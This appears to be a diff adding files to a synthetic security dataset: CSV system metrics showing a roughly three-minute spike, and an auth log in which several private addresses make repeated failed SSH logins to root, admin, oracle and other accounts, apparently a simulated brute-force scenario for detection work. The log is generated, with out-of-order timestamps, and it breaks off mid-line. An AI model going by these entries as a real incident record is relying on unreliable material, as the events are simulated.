+2025-08-26T10:00:05Z,10.99,41.82,19.85,1.02,1.36 +2025-08-26T10:00:10Z,13.62,41.07,21.22,1.46,0.96 +2025-08-26T10:00:15Z,12.46,40.33,20.44,1.09,0.65 +2025-08-26T10:00:20Z,14.89,39.39,21.72,0.87,0.58 +2025-08-26T10:00:25Z,13.7,41.11,21.22,0.76,0.7 +2025-08-26T10:00:30Z,10.19,38.4,21.1,1.37,1.42 +2025-08-26T10:00:35Z,18.86,41.96,20.53,1.33,0.8 +2025-08-26T10:00:40Z,13.85,40.08,20.4,0.8,1.42 +2025-08-26T10:00:45Z,14.93,38.61,19.74,1.07,1.08 +2025-08-26T10:00:50Z,19.07,41.46,19.49,0.66,0.83 +2025-08-26T10:00:55Z,18.59,39.81,19.87,0.77,0.69 +2025-08-26T10:01:00Z,12.38,40.49,19.25,0.8,1.27 +2025-08-26T10:01:05Z,19.83,40.36,18.8,1.21,1.43 +2025-08-26T10:01:10Z,19.23,38.47,20.41,1.24,0.71 +2025-08-26T10:01:15Z,19.14,39.49,18.74,0.69,1.17 +2025-08-26T10:01:20Z,15.03,38.27,19.99,0.74,0.95 +2025-08-26T10:01:25Z,18.16,39.0,20.58,0.99,1.2 +2025-08-26T10:01:30Z,15.83,39.26,21.24,1.16,0.97 +2025-08-26T10:01:35Z,14.84,39.77,19.61,1.06,1.36 +2025-08-26T10:01:40Z,19.74,41.24,18.06,1.33,0.83 +2025-08-26T10:01:45Z,17.11,40.65,20.13,0.7,0.78 +2025-08-26T10:01:50Z,14.98,38.33,20.08,1.45,0.85 +2025-08-26T10:01:55Z,16.16,38.58,18.16,1.37,1.21 +2025-08-26T10:02:00Z,12.63,39.32,21.76,1.47,0.5 +2025-08-26T10:02:05Z,14.36,39.0,21.78,0.56,0.59 +2025-08-26T10:02:10Z,12.77,40.87,18.15,1.47,0.76 +2025-08-26T10:02:15Z,11.04,41.35,21.61,0.66,0.97 +2025-08-26T10:02:20Z,10.95,41.82,19.57,0.89,0.61 +2025-08-26T10:02:25Z,12.13,38.56,18.13,1.37,1.03 +2025-08-26T10:02:30Z,96.09,42.76,21.09,10.44,2.03 +2025-08-26T10:02:35Z,90.94,40.44,19.01,9.25,2.56 +2025-08-26T10:02:40Z,91.3,40.91,16.82,10.56,3.56 +2025-08-26T10:02:45Z,91.23,41.76,23.73,13.77,3.92 +2025-08-26T10:02:50Z,85.5,40.02,15.35,9.55,2.21 +2025-08-26T10:02:55Z,89.46,40.37,22.25,11.33,2.18 +2025-08-26T10:03:00Z,85.47,41.71,16.27,9.53,2.22 +2025-08-26T10:03:05Z,85.83,41.64,21.92,8.67,3.54 +2025-08-26T10:03:10Z,93.63,41.8,17.35,8.46,3.7 +2025-08-26T10:03:15Z,88.08,42.46,18.63,11.49,3.75 +2025-08-26T10:03:20Z,94.18,42.46,20.93,8.71,3.34 +2025-08-26T10:03:25Z,96.26,40.92,18.95,14.47,2.66 +2025-08-26T10:03:30Z,93.78,42.31,18.05,8.23,3.51 +2025-08-26T10:03:35Z,95.85,40.73,18.83,11.15,3.97 +2025-08-26T10:03:40Z,96.42,40.83,23.1,8.54,3.12 +2025-08-26T10:03:45Z,85.42,40.9,20.54,8.55,2.97 +2025-08-26T10:03:50Z,91.65,42.54,23.42,11.99,2.02 +2025-08-26T10:03:55Z,90.74,41.74,15.26,14.78,3.33 +2025-08-26T10:04:00Z,97.59,40.86,22.45,13.89,2.76 +2025-08-26T10:04:05Z,97.6,41.4,21.95,8.94,3.83 +2025-08-26T10:04:10Z,92.02,41.45,20.75,13.23,2.2 +2025-08-26T10:04:15Z,87.98,41.9,18.21,14.67,2.34 +2025-08-26T10:04:20Z,94.15,40.14,15.42,13.18,2.76 +2025-08-26T10:04:25Z,86.46,42.22,15.92,14.78,2.37 +2025-08-26T10:04:30Z,94.12,41.84,20.03,10.79,3.15 +2025-08-26T10:04:35Z,97.88,40.02,16.37,12.57,2.03 +2025-08-26T10:04:40Z,91.43,40.22,24.43,9.37,2.14 +2025-08-26T10:04:45Z,93.04,42.06,20.81,12.06,2.93 +2025-08-26T10:04:50Z,86.34,42.37,23.58,9.53,2.35 +2025-08-26T10:04:55Z,96.28,40.94,24.93,10.5,2.46 +2025-08-26T10:05:00Z,93.65,41.09,19.03,12.75,2.08 +2025-08-26T10:05:05Z,88.59,41.06,16.57,10.91,3.7 +2025-08-26T10:05:10Z,95.52,40.04,15.64,10.87,3.23 +2025-08-26T10:05:15Z,97.15,42.2,18.0,14.51,3.93 +2025-08-26T10:05:20Z,86.31,40.39,17.48,13.98,3.49 +2025-08-26T10:05:25Z,87.98,40.73,17.55,14.97,2.34 +2025-08-26T10:05:30Z,90.86,41.61,16.76,13.67,3.54 +2025-08-26T10:05:35Z,86.84,42.76,23.05,8.08,3.11 +2025-08-26T10:05:40Z,89.76,42.93,20.49,10.79,2.04 +2025-08-26T10:05:45Z,91.93,41.94,21.94,9.01,2.9 +2025-08-26T10:05:50Z,14.17,39.44,20.58,1.32,1.26 +2025-08-26T10:05:55Z,18.83,41.96,18.09,0.87,1.47 +2025-08-26T10:06:00Z,16.78,39.22,19.18,1.22,1.37 +2025-08-26T10:06:05Z,16.94,38.38,19.91,1.07,0.58 +2025-08-26T10:06:10Z,14.66,41.54,19.63,0.75,0.7 +2025-08-26T10:06:15Z,12.16,39.05,21.52,0.97,0.59 +2025-08-26T10:06:20Z,13.88,38.86,18.74,0.94,0.84 +2025-08-26T10:06:25Z,13.23,40.27,20.68,0.68,0.97 +2025-08-26T10:06:30Z,10.67,39.68,19.09,1.2,1.46 +2025-08-26T10:06:35Z,16.16,39.09,19.02,1.11,0.61 +2025-08-26T10:06:40Z,17.1,41.02,20.39,0.88,0.61 +2025-08-26T10:06:45Z,12.28,40.03,18.9,0.81,1.44 +2025-08-26T10:06:50Z,16.38,39.53,19.15,1.14,1.33 +2025-08-26T10:06:55Z,17.97,39.86,21.9,1.18,0.74 +2025-08-26T10:07:00Z,15.0,39.88,18.12,1.36,1.19 +2025-08-26T10:07:05Z,15.26,39.15,20.15,0.56,0.77 +2025-08-26T10:07:10Z,18.01,39.21,19.51,1.18,0.7 +2025-08-26T10:07:15Z,12.63,40.95,19.72,1.0,0.93 +2025-08-26T10:07:20Z,11.5,41.84,20.88,0.65,0.74 +2025-08-26T10:07:25Z,16.96,40.9,19.36,0.82,1.15 diff --git a/mali_dataset/scenario_7/mali_7_19.log b/mali_dataset/scenario_7/mali_7_19.log new file mode 100644 index 0000000000000000000000000000000000000000..b6ab12ccd034bfa5c911c51b9c30b44650e0c53e --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_19.log @@ -0,0 +1,263 @@ +Aug 26 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 26 10:00:40 systemd[1]: Starting daily clean up activities... +Aug 26 10:01:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:01:20 systemd[1]: Starting daily clean up activities... +Aug 26 10:02:00 systemd[1]: Starting daily clean up activities... +Aug 26 10:02:05 sshd[1021]: Accepted publickey for ubuntu from 192.168.1.10 port 51234 ssh2: RSA SHA256:abc...xyz +Aug 26 10:02:30 sshd[1024]: Failed password for admin123 from 172.16.147.158 port 56142 ssh2 +Aug 26 10:02:31 sshd[1024]: Failed password for root from 172.16.22.167 port 29088 ssh2 +Aug 26 10:02:33 sshd[1024]: Failed password for admin from 172.16.22.167 port 29291 ssh2 +Aug 26 10:02:34 sshd[1024]: Failed password for admin from 172.16.95.167 port 50773 ssh2 +Aug 26 10:02:30 sshd[1024]: Failed password for root from 172.16.95.167 port 17742 ssh2 +Aug 26 10:02:39 sshd[1024]: Invalid user root from 172.16.124.87 port 20201 +Aug 26 10:02:37 sshd[1024]: Failed password for admin123 from 172.16.95.167 port 28788 ssh2 +Aug 26 10:02:39 sshd[1024]: Failed password for guest from 172.16.22.167 port 15031 ssh2 +Aug 26 10:02:39 sshd[1024]: Invalid user user from 172.16.124.87 port 51738 +Aug 26 10:02:42 sshd[1024]: Failed password for oracle from 172.16.124.87 port 27370 ssh2 +Aug 26 10:02:41 sshd[1024]: Invalid user guest from 172.16.124.87 port 30482 +Aug 26 10:02:42 sshd[1024]: Invalid user oracle from 172.16.22.167 port 48617 +Aug 26 10:02:42 sshd[1024]: Invalid user user from 172.16.95.167 port 21969 +Aug 26 10:02:43 sshd[1024]: Failed password for root from 172.16.124.87 port 59172 ssh2 +Aug 26 10:02:40 sshd[1024]: Failed password for admin from 172.16.22.167 port 24473 ssh2 +Aug 26 10:02:40 sshd[1024]: Invalid user guest from 172.16.124.87 port 27734 +Aug 26 10:02:44 sshd[1024]: Invalid user user from 172.16.124.87 port 33286 +Aug 26 10:02:49 sshd[1024]: Invalid user root from 172.16.95.167 port 25126 +Aug 26 10:02:49 sshd[1024]: Invalid user guest from 172.16.22.167 port 54123 +Aug 26 10:02:47 sshd[1024]: Failed password for admin from 172.16.95.167 port 25904 ssh2 +Aug 26 10:02:49 sshd[1024]: Failed password for guest from 172.16.22.167 port 26097 ssh2 +Aug 26 10:02:46 sshd[1024]: Failed password for test from 172.16.124.87 port 54929 ssh2 +Aug 26 10:02:48 sshd[1024]: Failed password for admin123 from 172.16.22.167 port 22369 ssh2 +Aug 26 10:02:46 sshd[1024]: Invalid user oracle from 172.16.112.33 port 34458 +Aug 26 10:02:47 sshd[1024]: Invalid user root from 172.16.95.167 port 14172 +Aug 26 10:02:54 sshd[1024]: Failed password for guest from 172.16.22.167 port 12711 ssh2 +Aug 26 10:02:50 sshd[1024]: Failed password for oracle from 172.16.112.33 port 28451 ssh2 +Aug 26 10:02:50 sshd[1024]: Failed password for root from 172.16.124.87 port 57985 ssh2 +Aug 26 10:02:51 sshd[1024]: Failed password for admin from 172.16.95.167 port 28120 ssh2 +Aug 26 10:02:52 sshd[1024]: Invalid user admin123 from 172.16.124.87 port 31406 +Aug 26 10:02:52 sshd[1024]: Failed password for oracle from 172.16.147.158 port 43206 ssh2 +Aug 26 10:02:52 sshd[1024]: Failed password for oracle from 172.16.95.167 port 16593 ssh2 +Aug 26 10:02:55 sshd[1024]: Failed password for admin123 from 172.16.95.167 port 13734 ssh2 +Aug 26 10:02:58 sshd[1024]: Invalid user admin from 172.16.112.33 port 33233 +Aug 26 10:02:59 sshd[1024]: Failed password for oracle from 172.16.124.87 port 53370 ssh2 +Aug 26 10:02:59 sshd[1024]: Failed password for root from 172.16.112.33 port 36501 ssh2 +Aug 26 10:02:56 sshd[1024]: Invalid user user from 172.16.22.167 port 41916 +Aug 26 10:02:59 sshd[1024]: Failed password for root from 172.16.147.158 port 59997 ssh2 +Aug 26 10:02:55 sshd[1024]: Invalid user admin from 172.16.124.87 port 20707 +Aug 26 10:02:55 sshd[1024]: Invalid user admin123 from 172.16.22.167 port 53902 +Aug 26 10:03:00 sshd[1024]: Failed password for oracle from 172.16.112.33 port 43321 ssh2 +Aug 26 10:03:02 sshd[1024]: Failed password for root from 172.16.112.33 port 19417 ssh2 +Aug 26 10:03:02 sshd[1024]: Invalid user test from 172.16.95.167 port 54890 +Aug 26 10:03:04 sshd[1024]: Invalid user oracle from 172.16.124.87 port 38338 +Aug 26 10:03:03 sshd[1024]: Invalid user admin from 172.16.112.33 port 17109 +Aug 26 10:03:08 sshd[1024]: Failed password for oracle from 172.16.124.87 port 52499 ssh2 +Aug 26 10:03:07 sshd[1024]: Failed password for root from 172.16.147.158 port 34533 ssh2 +Aug 26 10:03:05 sshd[1024]: Failed password for oracle from 172.16.147.158 port 20956 ssh2 +Aug 26 10:03:06 sshd[1024]: Invalid user guest from 172.16.124.87 port 19113 +Aug 26 10:03:07 sshd[1024]: Failed password for oracle from 172.16.112.33 port 42780 ssh2 +Aug 26 10:03:08 sshd[1024]: Failed password for guest from 172.16.112.33 port 42502 ssh2 +Aug 26 10:03:05 sshd[1024]: Invalid user guest from 172.16.112.33 port 22415 +Aug 26 10:03:05 sshd[1024]: Failed password for guest from 172.16.147.158 port 55972 ssh2 +Aug 26 10:03:14 sshd[1024]: Failed password for admin from 172.16.147.158 port 20679 ssh2 +Aug 26 10:03:13 sshd[1024]: Invalid user guest from 172.16.147.158 port 59254 +Aug 26 10:03:14 sshd[1024]: Invalid user admin123 from 172.16.22.167 port 33703 +Aug 26 10:03:14 sshd[1024]: Invalid user admin from 172.16.95.167 port 35424 +Aug 26 10:03:12 sshd[1024]: Invalid user root from 172.16.22.167 port 42785 +Aug 26 10:03:16 sshd[1024]: Failed password for test from 172.16.124.87 port 31947 ssh2 +Aug 26 10:03:17 sshd[1024]: Invalid user root from 172.16.147.158 port 11251 +Aug 26 10:03:15 sshd[1024]: Failed password for oracle from 172.16.22.167 port 39697 ssh2 +Aug 26 10:03:15 sshd[1024]: Failed password for admin from 172.16.112.33 port 46829 ssh2 +Aug 26 10:03:18 sshd[1024]: Failed password for test from 172.16.95.167 port 22919 ssh2 +Aug 26 10:03:15 sshd[1024]: Failed password for admin from 172.16.112.33 port 19891 ssh2 +Aug 26 10:03:24 sshd[1024]: Failed password for admin from 172.16.147.158 port 30043 ssh2 +Aug 26 10:03:24 sshd[1024]: Failed password for admin123 from 172.16.147.158 port 36741 ssh2 +Aug 26 10:03:21 sshd[1024]: Invalid user oracle from 172.16.22.167 port 43858 +Aug 26 10:03:20 sshd[1024]: Invalid user admin from 172.16.95.167 port 48960 +Aug 26 10:03:23 sshd[1024]: Invalid user root from 172.16.95.167 port 12611 +Aug 26 10:03:23 sshd[1024]: Failed password for root from 172.16.112.33 port 49655 ssh2 +Aug 26 10:03:23 sshd[1024]: Failed password for oracle from 172.16.112.33 port 44008 ssh2 +Aug 26 10:03:24 sshd[1024]: Invalid user oracle from 172.16.112.33 port 53324 +Aug 26 10:03:25 sshd[1024]: Invalid user guest from 172.16.147.158 port 20510 +Aug 26 10:03:28 sshd[1024]: Failed password for test from 172.16.95.167 port 50048 ssh2 +Aug 26 10:03:29 sshd[1024]: Failed password for admin123 from 172.16.22.167 port 43204 ssh2 +Aug 26 10:03:29 sshd[1024]: Failed password for root from 172.16.112.33 port 43545 ssh2 +Aug 26 10:03:29 sshd[1024]: Invalid user admin from 172.16.147.158 port 50768 +Aug 26 10:03:32 sshd[1024]: Invalid user oracle from 172.16.22.167 port 37643 +Aug 26 10:03:34 sshd[1024]: Failed password for root from 172.16.95.167 port 48562 ssh2 +Aug 26 10:03:30 sshd[1024]: Failed password for test from 172.16.147.158 port 49704 ssh2 +Aug 26 10:03:30 sshd[1024]: Failed password for admin123 from 172.16.124.87 port 22368 ssh2 +Aug 26 10:03:31 sshd[1024]: Invalid user guest from 172.16.124.87 port 36991 +Aug 26 10:03:34 sshd[1024]: Failed password for root from 172.16.112.33 port 19048 ssh2 +Aug 26 10:03:33 sshd[1024]: Failed password for user from 172.16.22.167 port 56496 ssh2 +Aug 26 10:03:32 sshd[1024]: Failed password for test from 172.16.124.87 port 49669 ssh2 +Aug 26 10:03:36 sshd[1024]: Invalid user root from 172.16.124.87 port 30090 +Aug 26 10:03:37 sshd[1024]: Invalid user user from 172.16.112.33 port 39712 +Aug 26 10:03:35 sshd[1024]: Failed password for root from 172.16.22.167 port 28154 ssh2 +Aug 26 10:03:38 sshd[1024]: Invalid user root from 172.16.124.87 port 59775 +Aug 26 10:03:35 sshd[1024]: Failed password for test from 172.16.112.33 port 43670 ssh2 +Aug 26 10:03:35 sshd[1024]: Failed password for root from 172.16.95.167 port 30666 ssh2 +Aug 26 10:03:41 sshd[1024]: Failed password for admin from 172.16.147.158 port 21389 ssh2 +Aug 26 10:03:40 sshd[1024]: Invalid user user from 172.16.112.33 port 32599 +Aug 26 10:03:43 sshd[1024]: Failed password for admin123 from 172.16.124.87 port 19914 ssh2 +Aug 26 10:03:42 sshd[1024]: Failed password for oracle from 172.16.147.158 port 19855 ssh2 +Aug 26 10:03:40 sshd[1024]: Failed password for root from 172.16.147.158 port 31747 ssh2 +Aug 26 10:03:44 sshd[1024]: Failed password for user from 172.16.22.167 port 52164 ssh2 +Aug 26 10:03:43 sshd[1024]: Failed password for oracle from 172.16.95.167 port 49488 ssh2 +Aug 26 10:03:41 sshd[1024]: Failed password for oracle from 172.16.112.33 port 11017 ssh2 +Aug 26 10:03:48 sshd[1024]: Failed password for guest from 172.16.112.33 port 40912 ssh2 +Aug 26 10:03:45 sshd[1024]: Failed password for test from 172.16.95.167 port 57315 ssh2 +Aug 26 10:03:49 sshd[1024]: Invalid user oracle from 172.16.112.33 port 32169 +Aug 26 10:03:45 sshd[1024]: Failed password for user from 172.16.95.167 port 11290 ssh2 +Aug 26 10:03:45 sshd[1024]: Invalid user oracle from 172.16.147.158 port 51037 +Aug 26 10:03:47 sshd[1024]: Failed password for guest from 172.16.95.167 port 45969 ssh2 +Aug 26 10:03:54 sshd[1024]: Failed password for admin from 172.16.147.158 port 37921 ssh2 +Aug 26 10:03:54 sshd[1024]: Invalid user root from 172.16.124.87 port 24688 +Aug 26 10:03:53 sshd[1024]: Failed password for admin123 from 172.16.22.167 port 37051 ssh2 +Aug 26 10:03:51 sshd[1024]: Invalid user test from 172.16.95.167 port 19932 +Aug 26 10:03:54 sshd[1024]: Failed password for test from 172.16.22.167 port 56075 ssh2 +Aug 26 10:03:53 sshd[1024]: Failed password for oracle from 172.16.112.33 port 13688 ssh2 +Aug 26 10:03:57 sshd[1024]: Failed password for oracle from 172.16.124.87 port 46683 ssh2 +Aug 26 10:03:56 sshd[1024]: Failed password for test from 172.16.147.158 port 52670 ssh2 +Aug 26 10:03:58 sshd[1024]: Failed password for admin123 from 172.16.124.87 port 36536 ssh2 +Aug 26 10:03:55 sshd[1024]: Invalid user root from 172.16.147.158 port 18935 +Aug 26 10:03:58 sshd[1024]: Failed password for admin from 172.16.124.87 port 35993 ssh2 +Aug 26 10:03:58 sshd[1024]: Failed password for guest from 172.16.124.87 port 45618 ssh2 +Aug 26 10:04:04 sshd[1024]: Failed password for guest from 172.16.22.167 port 38782 ssh2 +Aug 26 10:04:01 sshd[1024]: Invalid user admin123 from 172.16.124.87 port 29488 +Aug 26 10:04:00 sshd[1024]: Failed password for guest from 172.16.22.167 port 25109 ssh2 +Aug 26 10:04:04 sshd[1024]: Failed password for root from 172.16.147.158 port 16458 ssh2 +Aug 26 10:04:01 sshd[1024]: Failed password for root from 172.16.112.33 port 43014 ssh2 +Aug 26 10:04:08 sshd[1024]: Failed password for admin123 from 172.16.124.87 port 41942 ssh2 +Aug 26 10:04:08 sshd[1024]: Invalid user guest from 172.16.124.87 port 30051 +Aug 26 10:04:09 sshd[1024]: Invalid user admin from 172.16.112.33 port 56410 +Aug 26 10:04:09 sshd[1024]: Failed password for root from 172.16.112.33 port 36376 ssh2 +Aug 26 10:04:06 sshd[1024]: Failed password for admin from 172.16.22.167 port 29412 ssh2 +Aug 26 10:04:08 sshd[1024]: Failed password for guest from 172.16.112.33 port 59921 ssh2 +Aug 26 10:04:09 sshd[1024]: Failed password for oracle from 172.16.147.158 port 20146 ssh2 +Aug 26 10:04:10 sshd[1024]: Invalid user admin from 172.16.95.167 port 33255 +Aug 26 10:04:11 sshd[1024]: Failed password for guest from 172.16.112.33 port 17007 ssh2 +Aug 26 10:04:14 sshd[1024]: Failed password for oracle from 172.16.112.33 port 57685 ssh2 +Aug 26 10:04:14 sshd[1024]: Failed password for user from 172.16.112.33 port 28406 ssh2 +Aug 26 10:04:10 sshd[1024]: Invalid user admin123 from 172.16.22.167 port 53370 +Aug 26 10:04:10 sshd[1024]: Invalid user guest from 172.16.112.33 port 53727 +Aug 26 10:04:11 sshd[1024]: Failed password for test from 172.16.112.33 port 20417 ssh2 +Aug 26 10:04:18 sshd[1024]: Invalid user guest from 172.16.22.167 port 23648 +Aug 26 10:04:18 sshd[1024]: Failed password for root from 172.16.95.167 port 53589 ssh2 +Aug 26 10:04:16 sshd[1024]: Failed password for root from 172.16.95.167 port 23029 ssh2 +Aug 26 10:04:15 sshd[1024]: Invalid user oracle from 172.16.22.167 port 12332 +Aug 26 10:04:17 sshd[1024]: Failed password for guest from 172.16.112.33 port 22155 ssh2 +Aug 26 10:04:19 sshd[1024]: Invalid user admin from 172.16.147.158 port 44024 +Aug 26 10:04:17 sshd[1024]: Failed password for admin123 from 172.16.112.33 port 49312 ssh2 +Aug 26 10:04:23 sshd[1024]: Failed password for oracle from 172.16.124.87 port 58511 ssh2 +Aug 26 10:04:20 sshd[1024]: Invalid user user from 172.16.22.167 port 25460 +Aug 26 10:04:22 sshd[1024]: Failed password for admin123 from 172.16.147.158 port 50399 ssh2 +Aug 26 10:04:22 sshd[1024]: Failed password for user from 172.16.95.167 port 12673 ssh2 +Aug 26 10:04:24 sshd[1024]: Failed password for guest from 172.16.95.167 port 22795 ssh2 +Aug 26 10:04:23 sshd[1024]: Invalid user admin123 from 172.16.95.167 port 19307 +Aug 26 10:04:23 sshd[1024]: Failed password for user from 172.16.95.167 port 31146 ssh2 +Aug 26 10:04:20 sshd[1024]: Failed password for oracle from 172.16.147.158 port 26465 ssh2 +Aug 26 10:04:28 sshd[1024]: Failed password for oracle from 172.16.95.167 port 54872 ssh2 +Aug 26 10:04:25 sshd[1024]: Invalid user admin from 172.16.22.167 port 15200 +Aug 26 10:04:25 sshd[1024]: Invalid user guest from 172.16.22.167 port 50378 +Aug 26 10:04:29 sshd[1024]: Invalid user user from 172.16.124.87 port 16831 +Aug 26 10:04:29 sshd[1024]: Failed password for admin from 172.16.95.167 port 48632 ssh2 +Aug 26 10:04:32 sshd[1024]: Failed password for guest from 172.16.22.167 port 41128 ssh2 +Aug 26 10:04:34 sshd[1024]: Failed password for oracle from 172.16.124.87 port 55560 ssh2 +Aug 26 10:04:30 sshd[1024]: Failed password for test from 172.16.95.167 port 29251 ssh2 +Aug 26 10:04:32 sshd[1024]: Failed password for test from 172.16.147.158 port 24736 ssh2 +Aug 26 10:04:31 sshd[1024]: Failed password for admin from 172.16.147.158 port 16157 ssh2 +Aug 26 10:04:33 sshd[1024]: Failed password for root from 172.16.22.167 port 53216 ssh2 +Aug 26 10:04:32 sshd[1024]: Failed password for admin123 from 172.16.147.158 port 19650 ssh2 +Aug 26 10:04:36 sshd[1024]: Failed password for root from 172.16.22.167 port 25352 ssh2 +Aug 26 10:04:36 sshd[1024]: Failed password for admin from 172.16.124.87 port 37015 ssh2 +Aug 26 10:04:39 sshd[1024]: Invalid user admin123 from 172.16.22.167 port 20957 +Aug 26 10:04:38 sshd[1024]: Failed password for guest from 172.16.147.158 port 13343 ssh2 +Aug 26 10:04:41 sshd[1024]: Failed password for oracle from 172.16.95.167 port 57281 ssh2 +Aug 26 10:04:44 sshd[1024]: Invalid user admin123 from 172.16.112.33 port 29807 +Aug 26 10:04:44 sshd[1024]: Failed password for root from 172.16.112.33 port 58514 ssh2 +Aug 26 10:04:42 sshd[1024]: Invalid user oracle from 172.16.112.33 port 22416 +Aug 26 10:04:40 sshd[1024]: Invalid user admin from 172.16.124.87 port 37712 +Aug 26 10:04:45 sshd[1024]: Invalid user admin from 172.16.22.167 port 28572 +Aug 26 10:04:48 sshd[1024]: Failed password for root from 172.16.112.33 port 18457 ssh2 +Aug 26 10:04:49 sshd[1024]: Failed password for guest from 172.16.22.167 port 53108 ssh2 +Aug 26 10:04:49 sshd[1024]: Failed password for admin from 172.16.22.167 port 54517 ssh2 +Aug 26 10:04:49 sshd[1024]: Invalid user root from 172.16.22.167 port 34743 +Aug 26 10:04:49 sshd[1024]: Failed password for user from 172.16.147.158 port 33228 ssh2 +Aug 26 10:04:50 sshd[1024]: Invalid user admin from 172.16.112.33 port 56400 +Aug 26 10:04:54 sshd[1024]: Failed password for admin from 172.16.22.167 port 21404 ssh2 +Aug 26 10:04:51 sshd[1024]: Failed password for root from 172.16.147.158 port 45256 ssh2 +Aug 26 10:04:54 sshd[1024]: Failed password for admin123 from 172.16.112.33 port 57058 ssh2 +Aug 26 10:04:53 sshd[1024]: Failed password for oracle from 172.16.22.167 port 11619 ssh2 +Aug 26 10:04:56 sshd[1024]: Invalid user test from 172.16.22.167 port 35430 +Aug 26 10:04:59 sshd[1024]: Failed password for admin from 172.16.95.167 port 49480 ssh2 +Aug 26 10:04:57 sshd[1024]: Invalid user root from 172.16.95.167 port 35662 +Aug 26 10:04:56 sshd[1024]: Failed password for oracle from 172.16.124.87 port 24078 ssh2 +Aug 26 10:05:03 sshd[1024]: Failed password for guest from 172.16.95.167 port 33248 ssh2 +Aug 26 10:05:00 sshd[1024]: Failed password for root from 172.16.124.87 port 52983 ssh2 +Aug 26 10:05:04 sshd[1024]: Failed password for test from 172.16.22.167 port 51250 ssh2 +Aug 26 10:05:00 sshd[1024]: Invalid user oracle from 172.16.112.33 port 43722 +Aug 26 10:05:02 sshd[1024]: Failed password for root from 172.16.95.167 port 41806 ssh2 +Aug 26 10:05:01 sshd[1024]: Failed password for root from 172.16.124.87 port 19971 ssh2 +Aug 26 10:05:03 sshd[1024]: Invalid user oracle from 172.16.147.158 port 50123 +Aug 26 10:05:03 sshd[1024]: Failed password for admin123 from 172.16.112.33 port 51174 ssh2 +Aug 26 10:05:08 sshd[1024]: Failed password for user from 172.16.22.167 port 12393 ssh2 +Aug 26 10:05:05 sshd[1024]: Failed password for oracle from 172.16.147.158 port 28408 ssh2 +Aug 26 10:05:09 sshd[1024]: Invalid user test from 172.16.147.158 port 20814 +Aug 26 10:05:05 sshd[1024]: Failed password for root from 172.16.22.167 port 19795 ssh2 +Aug 26 10:05:06 sshd[1024]: Invalid user admin from 172.16.112.33 port 59546 +Aug 26 10:05:06 sshd[1024]: Failed password for guest from 172.16.95.167 port 28370 ssh2 +Aug 26 10:05:05 sshd[1024]: Invalid user test from 172.16.95.167 port 51032 +Aug 26 10:05:08 sshd[1024]: Failed password for test from 172.16.22.167 port 48815 ssh2 +Aug 26 10:05:12 sshd[1024]: Failed password for root from 172.16.95.167 port 17990 ssh2 +Aug 26 10:05:12 sshd[1024]: Failed password for admin from 172.16.147.158 port 42080 ssh2 +Aug 26 10:05:13 sshd[1024]: Failed password for guest from 172.16.124.87 port 35753 ssh2 +Aug 26 10:05:12 sshd[1024]: Failed password for admin123 from 172.16.147.158 port 47890 ssh2 +Aug 26 10:05:14 sshd[1024]: Failed password for admin123 from 172.16.124.87 port 30762 ssh2 +Aug 26 10:05:14 sshd[1024]: Failed password for oracle from 172.16.112.33 port 33320 ssh2 +Aug 26 10:05:14 sshd[1024]: Failed password for admin123 from 172.16.147.158 port 36247 ssh2 +Aug 26 10:05:18 sshd[1024]: Failed password for test from 172.16.95.167 port 54378 ssh2 +Aug 26 10:05:16 sshd[1024]: Failed password for oracle from 172.16.22.167 port 43683 ssh2 +Aug 26 10:05:16 sshd[1024]: Failed password for admin123 from 172.16.95.167 port 54360 ssh2 +Aug 26 10:05:16 sshd[1024]: Failed password for admin from 172.16.124.87 port 49346 ssh2 +Aug 26 10:05:21 sshd[1024]: Failed password for admin123 from 172.16.124.87 port 15457 ssh2 +Aug 26 10:05:24 sshd[1024]: Failed password for root from 172.16.22.167 port 58286 ssh2 +Aug 26 10:05:20 sshd[1024]: Invalid user admin123 from 172.16.124.87 port 58456 +Aug 26 10:05:20 sshd[1024]: Failed password for test from 172.16.112.33 port 20048 ssh2 +Aug 26 10:05:21 sshd[1024]: Invalid user guest from 172.16.95.167 port 57064 +Aug 26 10:05:23 sshd[1024]: Invalid user guest from 172.16.22.167 port 32515 +Aug 26 10:05:24 sshd[1024]: Failed password for admin from 172.16.147.158 port 13816 ssh2 +Aug 26 10:05:27 sshd[1024]: Failed password for root from 172.16.112.33 port 27786 ssh2 +Aug 26 10:05:26 sshd[1024]: Failed password for user from 172.16.95.167 port 39262 ssh2 +Aug 26 10:05:26 sshd[1024]: Failed password for guest from 172.16.124.87 port 55795 ssh2 +Aug 26 10:05:25 sshd[1024]: Failed password for test from 172.16.22.167 port 15214 ssh2 +Aug 26 10:05:26 sshd[1024]: Failed password for admin123 from 172.16.124.87 port 20055 ssh2 +Aug 26 10:05:34 sshd[1024]: Invalid user guest from 172.16.22.167 port 45066 +Aug 26 10:05:30 sshd[1024]: Failed password for oracle from 172.16.112.33 port 48954 ssh2 +Aug 26 10:05:33 sshd[1024]: Failed password for test from 172.16.147.158 port 39567 ssh2 +Aug 26 10:05:32 sshd[1024]: Failed password for admin from 172.16.112.33 port 22974 ssh2 +Aug 26 10:05:32 sshd[1024]: Failed password for admin123 from 172.16.147.158 port 37687 ssh2 +Aug 26 10:05:33 sshd[1024]: Failed password for guest from 172.16.22.167 port 11894 ssh2 +Aug 26 10:05:32 sshd[1024]: Failed password for root from 172.16.124.87 port 26574 ssh2 +Aug 26 10:05:35 sshd[1024]: Invalid user oracle from 172.16.147.158 port 30960 +Aug 26 10:05:39 sshd[1024]: Failed password for admin from 172.16.147.158 port 45914 ssh2 +Aug 26 10:05:35 sshd[1024]: Invalid user admin from 172.16.22.167 port 25269 +Aug 26 10:05:37 sshd[1024]: Failed password for oracle from 172.16.147.158 port 20561 ssh2 +Aug 26 10:05:39 sshd[1024]: Invalid user admin from 172.16.124.87 port 41159 +Aug 26 10:05:39 sshd[1024]: Failed password for root from 172.16.124.87 port 54592 ssh2 +Aug 26 10:05:36 sshd[1024]: Failed password for user from 172.16.112.33 port 23832 ssh2 +Aug 26 10:05:38 sshd[1024]: Invalid user root from 172.16.147.158 port 14543 +Aug 26 10:05:42 sshd[1024]: Invalid user test from 172.16.22.167 port 59779 +Aug 26 10:05:44 sshd[1024]: Failed password for test from 172.16.124.87 port 32765 ssh2 +Aug 26 10:05:43 sshd[1024]: Failed password for admin123 from 172.16.112.33 port 29398 ssh2 +Aug 26 10:05:43 sshd[1024]: Failed password for admin from 172.16.147.158 port 10031 ssh2 +Aug 26 10:05:44 sshd[1024]: Failed password for 